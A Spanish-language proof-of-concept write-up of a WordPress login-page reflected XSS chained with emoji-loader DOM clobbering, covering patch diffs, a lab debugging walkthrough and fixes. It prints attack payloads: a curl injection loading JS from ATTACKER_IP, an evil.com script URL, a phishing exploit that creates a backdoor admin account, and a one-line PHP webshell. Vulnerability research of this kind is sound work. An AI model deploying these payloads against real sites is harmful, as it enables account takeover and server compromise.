
Exploit de prueba de concepto para CVE-2026-64638: XSS reflejado en el inicio de sesión de WordPress encadenado con DOM clobbering para lograr la apropiación de la cuenta de administrador y la ejecución remota de código.
Software: WordPress Core ≤ 7.0.2 (todas las versiones anteriores a 7.0.3)
CVSS: 8.9 (Alta)
CWE: CWE-79 — Neutralización incorrecta de la entrada durante la generación de la página web
Autenticación requerida: Ninguna (Pre-Auth)
Interacción del usuario: Activa (el administrador necesita hacer clic en 1 enlace)
Impacto: XSS → Toma de control de la cuenta → Ejecución remota de código
WordPress es el sistema de gestión de contenidos más popular del mundo, y representa más del 40% de todos los sitios web en internet. Cada sitio WordPress tiene una página de inicio de sesión en /wp-login.php — este es un endpoint público al que cualquiera puede acceder sin autenticación.
Cuando un usuario introduce un nombre de usuario incorrecto, WordPress muestra un mensaje de error que contiene exactamente el nombre de usuario que el usuario acaba de escribir: "El nombre de usuario X no está registrado en este sitio." El problema radica en que el valor del nombre de usuario se coloca directamente en la respuesta HTML sin pasar por ninguna función de escape — un atacante solo necesita introducir HTML/JavaScript en lugar de un nombre de usuario real, y el código se ejecutará en el navegador.
Esta es una vulnerabilidad de XSS Reflejado — el payload está contenido en la solicitud y el servidor lo refleja idénticamente en el HTML. Lo que la hace peligrosa es que la vulnerabilidad reside en la página de inicio de sesión — un lugar al que los administradores acceden con frecuencia, donde las cookies de sesión del administrador pueden ser robadas.
El equipo de investigación descubrió además que este XSS puede encadenarse con una vulnerabilidad de DOM clobbering en el emoji-loader de WordPress, lo que permite cargar JavaScript desde un servidor externo. A partir de ahí, un atacante puede crear una nueva cuenta de administrador → instalar un plugin que contenga un webshell → ejecutar código PHP en el servidor. Esta cadena de explotación se conoce como XSS2Shell.
WordPress carga el soporte de emojis en cada página (incluida la página de inicio de sesión) mediante el archivo emoji-loader.js. Este script lee la configuración de un elemento con id="wp-emoji-settings":
// Before patch (vulnerable)
const settings = JSON.parse(
document.getElementById('wp-emoji-settings').textContent
);
document.getElementById() devuelve el primer elemento del DOM con un id coincidente. Si un atacante inyecta un <div id="wp-emoji-settings"> antes de la etiqueta de script original, getElementById leerá el contenido del atacante en lugar de la configuración real. Esta técnica se denomina DOM clobbering — sobrescribir el comportamiento de JavaScript mediante la inyección de elementos HTML.
La configuración de emojis contiene una URL para cargar un archivo JavaScript (concatemoji). El atacante controla esta URL → carga un archivo JS desde un servidor externo → ejecuta código arbitrario dentro del contexto del navegador.
Una vez que se logra la ejecución de JavaScript dentro del contexto del administrador, el atacante tiene privilegios completos de administrador de WordPress:
/wp-admin/user-new.php con la sesión del administrador/wp-admin/plugin-install.phpCualquiera de los 3 métodos anteriores permite ejecutar código PHP en el servidor — es decir, RCE.
A partir del commit de corrección 0d6d42e en wordpress-develop, identifiqué 3 ubicaciones en el archivo wp-includes/user.php donde el nombre de usuario/correo electrónico se coloca directamente en el mensaje de error:
# View diff between vulnerable and patched versions
git diff 7.0.2..7.0.3 -- src/wp-includes/user.php
Ubicación 1 — Línea 189 (el nombre de usuario no existe):
Antes :
// BEFORE (vulnerable):
sprintf(
__( 'The username <strong>%s</strong> is not registered...' ),
$username // ← no escaping
)

Después :
// fixed:
sprintf(
__( 'The username <strong>%s</strong> is not registered...' ),
esc_html( $username ) // ← escaped
)
Ubicación 2 — Línea 216 (contraseña incorrecta):
Antes :

// BEFORE:
'<strong>' . $username . '</strong>' // ← no escaping
Después :
// AFTER:
'<strong>' . esc_html( $username ) . '</strong>'
Ubicación 3 — Línea 299 (contraseña incorrecta para el correo electrónico):
Antes :

// BEFORE:
'<strong>' . $email . '</strong>' // ← no escaping
Después :
// AFTER:
'<strong>' . esc_html( $email ) . '</strong>'
Flujo de datos desde la solicitud POST hasta el mensaje de error:
$_POST['log'] ← user input from login form
↓
wp_signon() [user.php:51]
$credentials['user_login'] = wp_unslash($_POST['log']) ← only removes backslashes
↓
wp_authenticate($username, $password) [pluggable.php:689]
$username = sanitize_user($username) ← strips HTML tags, but has a bypass
↓
wp_authenticate_username_password() [user.php:153]
get_user_by('login', $username) ← user not found
↓
sprintf('The username <strong>%s</strong>...', $username) ← XSS!
↓
WP_Error → login_header() → wp_admin_notice()
wp_kses_post(...) ← filters HTML but allows <div>, <a>, through
↓
HTML response → browser render → JavaScript execute
WordPress tiene 2 capas de filtrado antes de que el nombre de usuario llegue al HTML:
Capa 1: sanitize_user() — Llama a strip_tags() para eliminar las etiquetas HTML. Sin embargo, strip_tags() de PHP tiene limitaciones conocidas: el formato de etiquetas no estándar puede evadir el filtro.
Capa 2: wp_kses_post() — Permite pasar un subconjunto seguro de HTML, incluidos <div>, <a>, `` con ciertos atributos (pero elimina los manejadores de eventos como onerror, onload). Fundamentalmente: wp_kses_post permite <div id="wp-emoji-settings"> — precisamente el elemento necesario para el DOM clobbering.
El equipo de pwn.ai encontró una forma de evadir ambas capas para inyectar un payload útil. Los detalles técnicos específicos no han sido publicados públicamente.
Para confirmar visualmente que el nombre de usuario va directamente al HTML sin escaparse, usé Xdebug + VS Code para colocar puntos de interrupción en puntos clave de la cadena de ejecución.
Paso 1 — Introducir el payload XSS en el formulario de inicio de sesión:
Accede a http://localhost:8282/wp-login.php, introduce el nombre de usuario como `` y luego haz clic en Log In. Aparece una ventana emergente de alerta — el XSS funciona.


Paso 2 — Punto de interrupción en user.php:184 — Donde ocurre el XSS:
Coloca un punto de interrupción en return new WP_Error(...) dentro de la función wp_authenticate_username_password(). Cuando el depurador se detenga, observa:
$username = "" — payload HTML intacto, sin escapar$_POST: log = "" — confirma que el payload se origina en la entrada del formulariowp_authenticate_username_password() → WP_Hook->apply_filters → apply_filters → wp_authenticate → wp_signon → {main} wp-login.php
El valor $username va desde $_POST['log'] → wp_unslash() → (evade sanitize_user) → sprintf() dentro del mensaje de error en las líneas 186-189 — sin esc_html() en medio. En el laboratorio, se comentó sanitize_user() para simular la evasión descubierta por pwn.ai.
Paso 3 — Punto de interrupción en functions.php:9200 — Salida final:
Coloca un punto de interrupción en echo wp_get_admin_notice( $message, $args ) — esta es la última línea antes de que el HTML se envíe al navegador:
$message = "<p><strong>Error:</strong> The username <strong></strong> is not registered...</p>" — el payload reside intacto dentro del mensaje de error HTMLwp_kses_post() envolviéndola (parcheada para simular la evasión), por lo que el payload va directamente al navegador
En WordPress original, esta línea es echo wp_kses_post( wp_get_admin_notice(...) ) — wp_kses_post() eliminará el atributo onerror pero permitirá que pase <div id="wp-emoji-settings"> porque <div> está en la lista de permitidos. Este es el vector exacto para el ataque de DOM clobbering.
El commit a12c8f5 modifica emoji-loader.js para bloquear el DOM clobbering:
// BEFORE (vulnerable): accepts any element with a matching id
const settings = JSON.parse(
document.getElementById('wp-emoji-settings').textContent
);
// AFTER (fixed): only accepts <script> element
const selector = 'script#wp-emoji-settings';
const script = document.querySelector(selector);
if (!(script instanceof HTMLScriptElement)) {
throw new Error(`Element missing:${selector}`);
}
const settings = JSON.parse(script.text);
La corrección cambia 3 cosas:
querySelector('script#...') en lugar de getElementById — solo coincide con etiquetas <script>instanceof HTMLScriptElement — evita el DOM clobbering mediante <div> o ``.text en lugar de .textContent — .text es una propiedad específica de HTMLScriptElementDespués de la corrección, incluso si un atacante logra inyectar <div id="wp-emoji-settings">, emoji-loader lo ignorará porque no es un elemento <script>.
┌─────────────────────────────────────────────────────────────────┐
│ ATTACKER │
│ Creates phishing link containing XSS payload │
│ POST /wp-login.php with log=<div id="wp-emoji-settings"> │
│ {"source":{"concatemoji":"https://evil.com/rce.js"}} │
└────────────────────────┬────────────────────────────────────────┘
│ Sends link to admin (email, chat, etc.)
▼
┌─────────────────────────────────────────────────────────────────┐
│ ADMIN CLICKS LINK │
│ Browser POSTs to /wp-login.php → server reflects payload │
│ → <div id="wp-emoji-settings"> appears in HTML │
└────────────────────────┬────────────────────────────────────────┘
│ emoji-loader.js executes
▼
┌─────────────────────────────────────────────────────────────────┐
│ DOM CLOBBERING │
│ getElementById('wp-emoji-settings') → returns attacker div │
│ JSON.parse(div.textContent) → reads fake configuration │
│ Loads script from https://evil.com/rce.js │
└────────────────────────┬────────────────────────────────────────┘
│ JS executes in admin context
▼
┌─────────────────────────────────────────────────────────────────┐
│ ACCOUNT TAKEOVER + RCE │
│ 1. Fetch /wp-admin/user-new.php → get nonce │
│ 2. POST create new admin account (backdoor) │
│ 3. Login using backdoor account │
│ 4. Install plugin containing PHP webshell │
│ 5. Call webshell → RCE on server │
└─────────────────────────────────────────────────────────────────┘
Accede a http://localhost:8282/wp-login.php, introduce:
Haz clic en Log In. Si aparece una ventana emergente de alerta que muestra "localhost" → el XSS funciona.
Resultado — payload reflejado intacto en el HTML:

Payload más complejo — inyectar un <div> con id="wp-emoji-settings" que contenga JSON que apunte al archivo JS del atacante:

# Payload: inject div clobber emoji-settings
PAYLOAD='<div id="wp-emoji-settings">{"source":{"concatemoji":"http://ATTACKER_IP:9999/evil.js"},"readyCallback":null}</div>'
curl -s -b /tmp/wp-cookies.txt -X POST "http://localhost:8282/wp-login.php" \
--data-urlencode "log=${PAYLOAD}" \
-d '&pwd=test&wp-submit=Log+In&testcookie=1' \
| grep "wp-emoji-settings"
Si la salida HTML contiene <div id="wp-emoji-settings"> con el JSON del atacante → emoji-loader cargará el JS desde el servidor del atacante.
python exploit.py --target http://localhost:8282 --lhost 127.0.0.1 --lport 9999
El script exploit.py sirve 2 cosas:
http://127.0.0.1:9999/phish.html — página de phishing que suplanta a la Actualización de Seguridad de WordPresshttp://127.0.0.1:9999/evil.js — payload JS que crea una cuenta de administrador de puerta traseraEl atacante envía el enlace http://127.0.0.1:9999/phish.html al administrador por correo electrónico/chat. Cuando el administrador hace clic:
/wp-login.php con un nombre de usuario que contiene el payload XSS<div id="wp-emoji-settings"> aparece en el HTMLemoji-loader.js lee el div falso → carga evil.js desde el servidor del atacanteevil.js se ejecuta en el navegador del administrador → obtiene /wp-admin/user-new.php para conseguir el nonce → crea la cuenta backdoor_xss2shell / Pwn3d!XSS2Shell
Todo el proceso ocurre automáticamente; el administrador solo ve la página de inicio de sesión normal con el error de "nombre de usuario no encontrado".
En el laboratorio, el administrador ya había iniciado sesión con admin / admin123, por lo que evil.js se ejecutó de inmediato. Después de obtener acceso a la cuenta, subí inmediatamente un webshell mediante un Plugin:

<?phpif(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>


La salida devolvió www-data — el atacante ahora tiene privilegios de ejecución de comandos en el servidor.
/wp-login.php siempre es público y no se puede ocultar (salvo usando plugins para cambiar la URL de inicio de sesión)HttpOnly no está configurado correctamente) o credenciales mediante phishingCorrección 1 — Escapar la salida (user.php):
// Add esc_html() to everywhere username/email appears in error messages
esc_html( $username )
esc_html( $email )
Corrección 2 — Endurecer emoji-loader (emoji-loader.js):
// Only accept <script> element, do not accept <div> or other elements
const script = document.querySelector('script#wp-emoji-settings');
if (!(script instanceof HTMLScriptElement)) {
throw new Error('Element missing');
}
Corrección 3 — Escapar la URL (wp-login.php):
// Add esc_url() for wp_login_url() in registration messages
esc_url( wp_login_url() )
/wp-login.php con payload HTML en el parámetro logsanitize_user() está diseñado para normalizar nombres de usuario, no para prevenir XSS. Defensa en profundidad: escapar en el punto de salida (esc_html, esc_attr, esc_url) es la capa de defensa final y más crítica.getElementById para datos sensibles a la seguridad. El DOM clobbering puede inyectar un elemento falso con el mismo id. Usar querySelector con el nombre de etiqueta específico + comprobación instanceof.wp_kses_post no es un filtro XSS. Está diseñado para permitir HTML seguro en el contenido de las entradas — no para bloquear XSS en otros contextos. Cada contexto requiere su función de escape dedicada.| Atributo | Valor |
|---|
| ID CVE | CVE-2026-64638 |
| Puntuación CVSS | 8.9 (Alta) |
| Software | WordPress Core ≤ 7.0.2 |
| Autenticación | No requerida (Pre-Auth) |
| Interacción del usuario | Requiere 1 clic (el administrador hace clic en el enlace) |
| Complejidad del ataque | Alta |
| Parcheado | WordPress 7.0.3 (08/06/2026) |
| Reportado por | equipo pwn.ai vía HackerOne |
| Informe HackerOne | #3877102 |
| Métrica CVSS | Valor | Razón |
|---|
| Vector de ataque | Red | Vía HTTP, enviando el enlace a la víctima |
| Complejidad del ataque | Alta | Requiere evadir sanitize_user() + wp_kses_post(), requiere clic de la víctima |
| Privilegios requeridos | Ninguno | El endpoint de inicio de sesión no requiere autenticación |
| Interacción del usuario | Activa | El administrador debe hacer clic en el enlace de phishing |
| Confidencialidad | Alta | Leer cookies, sesión, contenidos del panel de administración |
| Integridad | Alta | Crear cuenta de administrador, instalar plugin, modificar archivos |
| Disponibilidad | Alta | RCE → control total del servidor |